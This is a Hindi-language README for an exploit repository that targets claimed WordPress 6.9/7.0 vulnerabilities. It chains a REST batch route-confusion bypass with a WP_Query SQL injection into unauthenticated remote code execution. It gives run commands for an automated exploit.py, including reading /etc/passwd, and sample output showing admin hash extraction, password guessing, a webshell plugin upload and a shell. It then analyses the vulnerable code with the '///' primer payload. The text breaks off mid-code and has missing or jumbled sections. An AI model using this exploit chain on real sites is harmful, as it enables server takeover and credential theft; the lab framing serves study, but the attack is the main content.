
WordPress अनधिकृत RCE शोषण जो रूट कन्फ्यूजन और SQL इंजेक्शन को जोड़ता है। स्वचालित स्क्रिप्ट, प्रयोगशाला सेटअप और विस्तृत भेद्यता विश्लेषण प्रदान किया गया।
भेद्यता: REST बैच रूट कन्फ्यूज़न + WP_Query SQL इंजेक्शन → पूर्ण RCE
CVSS v3.1: 10.0 / 10.0 — गंभीर | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
प्रभावित: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | पैच किया गया: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## त्वरित आरंभ
### 1. असुरक्षित प्रयोगशाला सेट अप करें
**आवश्यकताएँ:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. अपेक्षित आउटपुट```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| फ़ाइल | विवरण |
|---|---|
README.md | पूर्ण भेद्यता विश्लेषण और शोषण विवरण |
exploit.py | स्वचालित शोषण स्क्रिप्ट (एक कमांड में शून्य-पहुँच → RCE) |
docker-compose.yml | भेद्य WordPress प्रयोगशाला वातावरण |
chain-rce.md | स्वचालित RCE श्रृंखला दस्तावेज़ीकरण |
images/ | मैन्युअल शोषण से स्क्रीनशॉट |
भेद्यता: अप्रमाणित रिमोट कोड निष्पादन — REST बैच रूट कन्फ्यूज़न + WP_Query SQL इंजेक्शन
CVSS v3.1: 10.0 / 10.0 — गंभीर
वेक्टर: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 WordPress कोर में एक अप्रमाणित RCE भेद्यता है। यह दो स्वतंत्र बगों को एक पूर्ण शोषण श्रृंखला में जोड़ता है, जो शून्य-पहुँच से पूर्ण सर्वर समझौते तक जाती है:
| CVE | बग | श्रृंखला में भूमिका |
|---|---|---|
| CVE-2026-63030 | REST बैच रूट कन्फ्यूज़न | प्रमाणीकरण बायपास करें |
| CVE-2026-60137 | author__not_in SQL इंजेक्शन | मनमाना डेटाबेस पढ़ना/लिखना |
प्रभावित संस्करण:
शोषण की शर्तें:
→ अधिकांश WordPress इंस्टॉलेशन डिफ़ॉल्ट रूप से भेद्य हैं।
/wp-json/batch/v1)एक ही HTTP अनुरोध के भीतर कई REST API अनुरोध भेजने की अनुमति देता है:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
प्रत्येक उप-अनुरोध को उसके अपने हैंडलर से मिलान किया जाता है, और प्रत्येक हैंडलर का अपना **permission callback** होता है।
### WP_Query — `author__not_in`
कोर डेटाबेस क्वेरी क्लास। `author__not_in` पैरामीटर पूर्णांकों की एक सरणी स्वीकार करता है, जो SQL क्लॉज़ उत्पन्न करता है:```sql
AND post_author NOT IN (5, 12, 23)
प्रत्येक तत्व absint() से गुजरता है → केवल पूर्णांक भाग को बनाए रखते हुए।
wp_parse_url()parse_url() के लिए रैपर। अमान्य URL प्राप्त होने पर → WP_Error लौटाता है।```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. मूल कारण — Bug A: Batch Route Confusion (CVE-2026-63030)
**फ़ाइल:** `wp-includes/rest-api/class-wp-rest-server.php`
### असुरक्षित स्रोत कोड:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### `"///"` बग को क्यों ट्रिगर करता है?
जब PHP `parse_url()` को `"///"` मिलता है, तो यह **RFC 3986** — URL संरचना के अनुसार इसे पार्स करने का प्रयास करता है:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
जब "///" प्राप्त होता है, तो यह इसे इस प्रकार व्याख्या करता है:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP रिटर्न परिणाम:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress इसे wp_parse_url() में लपेटता है → कोई मान्य scheme नहीं, कोई मान्य host नहीं, कोई सार्थक path नहीं पता लगाता है → WP_Error लौटाता है।
wp_parse_url("///") WP_Error लौटाता है (गलत URL)। यह त्रुटि अनुरोध को $matches बनाने वाले लूप में स्किप करा देती है, लेकिन इसे dispatch लूप में स्किप नहीं किया जाता → सरणी डीसिंक हो जाती है।
फ़ाइल: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;